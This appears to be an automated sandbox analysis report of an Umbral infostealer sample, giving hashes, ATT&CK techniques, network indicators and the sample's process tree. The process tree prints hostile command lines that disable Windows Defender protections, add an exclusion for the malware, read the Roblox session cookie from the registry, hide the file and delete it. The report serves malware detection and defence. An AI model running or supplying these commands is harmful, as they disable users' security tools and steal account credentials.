umbral | a83df6ed601d8ad1235d1b76af4019e95a24dab4aa64ee7e1267d661e64d18d4

Analysis

max time kernel
119s
max time network
119s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
24/08/2024, 01:28

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General

Target

bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe
Size

228KB
MD5

92fe53ca6c8f1a424db45bb3f7cdfe56
SHA1

a6d4e261875b162f18f2cbbcc6411cec7b59be37
SHA256

bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7
SHA512

c4ce50e070a07626fd766212428b15df7d4f4fe680acdc9b0ba084156aea4e4443dd76ddba8ff9d9551a5c00b53d784a716caa95df1a78d80a65dd1bca2c4a16
SSDEEP

6144:OloZM+rIkd8g+EtXHkv/iD4QL6XYe5xy4XKYZd8PRb8e1mLpsi:YoZtL+EP8QL6XYe5xy4XKYZd8hil

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/760-1-0x0000000000F20000-0x0000000000F60000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
752	powershell.exe
2164	powershell.exe
2704	powershell.exe
1200	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe

Deletes itself 1 IoCs

pid	Process
2836	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2836	cmd.exe
2160	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1960	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2160	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe
752	powershell.exe
2164	powershell.exe
2704	powershell.exe
2548	powershell.exe
1200	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe
Token: SeIncreaseQuotaPrivilege	2276	wmic.exe
Token: SeSecurityPrivilege	2276	wmic.exe
Token: SeTakeOwnershipPrivilege	2276	wmic.exe
Token: SeLoadDriverPrivilege	2276	wmic.exe
Token: SeSystemProfilePrivilege	2276	wmic.exe
Token: SeSystemtimePrivilege	2276	wmic.exe
Token: SeProfSingleProcessPrivilege	2276	wmic.exe
Token: SeIncBasePriorityPrivilege	2276	wmic.exe
Token: SeCreatePagefilePrivilege	2276	wmic.exe
Token: SeBackupPrivilege	2276	wmic.exe
Token: SeRestorePrivilege	2276	wmic.exe
Token: SeShutdownPrivilege	2276	wmic.exe
Token: SeDebugPrivilege	2276	wmic.exe
Token: SeSystemEnvironmentPrivilege	2276	wmic.exe
Token: SeRemoteShutdownPrivilege	2276	wmic.exe
Token: SeUndockPrivilege	2276	wmic.exe
Token: SeManageVolumePrivilege	2276	wmic.exe
Token: 33	2276	wmic.exe
Token: 34	2276	wmic.exe
Token: 35	2276	wmic.exe
Token: SeIncreaseQuotaPrivilege	2276	wmic.exe
Token: SeSecurityPrivilege	2276	wmic.exe
Token: SeTakeOwnershipPrivilege	2276	wmic.exe
Token: SeLoadDriverPrivilege	2276	wmic.exe
Token: SeSystemProfilePrivilege	2276	wmic.exe
Token: SeSystemtimePrivilege	2276	wmic.exe
Token: SeProfSingleProcessPrivilege	2276	wmic.exe
Token: SeIncBasePriorityPrivilege	2276	wmic.exe
Token: SeCreatePagefilePrivilege	2276	wmic.exe
Token: SeBackupPrivilege	2276	wmic.exe
Token: SeRestorePrivilege	2276	wmic.exe
Token: SeShutdownPrivilege	2276	wmic.exe
Token: SeDebugPrivilege	2276	wmic.exe
Token: SeSystemEnvironmentPrivilege	2276	wmic.exe
Token: SeRemoteShutdownPrivilege	2276	wmic.exe
Token: SeUndockPrivilege	2276	wmic.exe
Token: SeManageVolumePrivilege	2276	wmic.exe
Token: 33	2276	wmic.exe
Token: 34	2276	wmic.exe
Token: 35	2276	wmic.exe
Token: SeDebugPrivilege	752	powershell.exe
Token: SeDebugPrivilege	2164	powershell.exe
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeDebugPrivilege	2548	powershell.exe
Token: SeIncreaseQuotaPrivilege	2488	wmic.exe
Token: SeSecurityPrivilege	2488	wmic.exe
Token: SeTakeOwnershipPrivilege	2488	wmic.exe
Token: SeLoadDriverPrivilege	2488	wmic.exe
Token: SeSystemProfilePrivilege	2488	wmic.exe
Token: SeSystemtimePrivilege	2488	wmic.exe
Token: SeProfSingleProcessPrivilege	2488	wmic.exe
Token: SeIncBasePriorityPrivilege	2488	wmic.exe
Token: SeCreatePagefilePrivilege	2488	wmic.exe
Token: SeBackupPrivilege	2488	wmic.exe
Token: SeRestorePrivilege	2488	wmic.exe
Token: SeShutdownPrivilege	2488	wmic.exe
Token: SeDebugPrivilege	2488	wmic.exe
Token: SeSystemEnvironmentPrivilege	2488	wmic.exe
Token: SeRemoteShutdownPrivilege	2488	wmic.exe
Token: SeUndockPrivilege	2488	wmic.exe
Token: SeManageVolumePrivilege	2488	wmic.exe
Token: 33	2488	wmic.exe
Token: 34	2488	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 760 wrote to memory of 2276	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	28
PID 760 wrote to memory of 2276	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	28
PID 760 wrote to memory of 2276	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	28
PID 760 wrote to memory of 2416	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	31
PID 760 wrote to memory of 2416	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	31
PID 760 wrote to memory of 2416	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	31
PID 760 wrote to memory of 752	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	33
PID 760 wrote to memory of 752	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	33
PID 760 wrote to memory of 752	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	33
PID 760 wrote to memory of 2164	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	35
PID 760 wrote to memory of 2164	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	35
PID 760 wrote to memory of 2164	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	35
PID 760 wrote to memory of 2704	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	37
PID 760 wrote to memory of 2704	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	37
PID 760 wrote to memory of 2704	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	37
PID 760 wrote to memory of 2548	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	39
PID 760 wrote to memory of 2548	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	39
PID 760 wrote to memory of 2548	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	39
PID 760 wrote to memory of 2488	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	41
PID 760 wrote to memory of 2488	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	41
PID 760 wrote to memory of 2488	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	41
PID 760 wrote to memory of 1700	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	43
PID 760 wrote to memory of 1700	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	43
PID 760 wrote to memory of 1700	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	43
PID 760 wrote to memory of 1992	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	45
PID 760 wrote to memory of 1992	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	45
PID 760 wrote to memory of 1992	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	45
PID 760 wrote to memory of 1200	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	47
PID 760 wrote to memory of 1200	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	47
PID 760 wrote to memory of 1200	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	47
PID 760 wrote to memory of 1960	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	49
PID 760 wrote to memory of 1960	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	49
PID 760 wrote to memory of 1960	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	49
PID 760 wrote to memory of 2836	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	51
PID 760 wrote to memory of 2836	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	51
PID 760 wrote to memory of 2836	760	bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe	51
PID 2836 wrote to memory of 2160	2836	cmd.exe	53
PID 2836 wrote to memory of 2160	2836	cmd.exe	53
PID 2836 wrote to memory of 2160	2836	cmd.exe	53

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2416	attrib.exe

C:\Users\Admin\AppData\Local\Temp\bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe
"C:\Users\Admin\AppData\Local\Temp\bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:760
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2276
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe"
  2⤵
  - Views/modifies file attributes
  PID:2416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2548
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2488
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1700
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1200
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1960
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\bf1ddaef01c54156875f83d24de19811476ad618bf126460a764c0cb13bcf3b7.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2160

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7OIO4SAVCBXWN2QF3N2O.temp

Filesize
7KB

MD5
f857dc108f5b58d65be9695df3699e13

SHA1
15e8cbc45d3f1578a13c39aa7f960430756457b5

SHA256
a92fa9f2c59c73a63f55158381718da3a5bca36fce6770065c09e44c619fe0a4

SHA512
1e870c43e946df1d4128df35e3d5a4a23f714a24935afa12645e527b0e5af3fbbb76cda9357371197b0f12997f604114bd72e88f781174735a4cee5450889749

Download Submit
memory/752-7-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/752-8-0x00000000028A0000-0x00000000028A8000-memory.dmp

Filesize
32KB

Download
memory/760-0-0x000007FEF5343000-0x000007FEF5344000-memory.dmp

Filesize
4KB

Download
memory/760-1-0x0000000000F20000-0x0000000000F60000-memory.dmp

Filesize
256KB

Download
memory/760-2-0x000007FEF5340000-0x000007FEF5D2C000-memory.dmp

Filesize
9.9MB

Download
memory/760-47-0x000007FEF5340000-0x000007FEF5D2C000-memory.dmp

Filesize
9.9MB

Download
memory/1200-43-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/2164-14-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2164-15-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download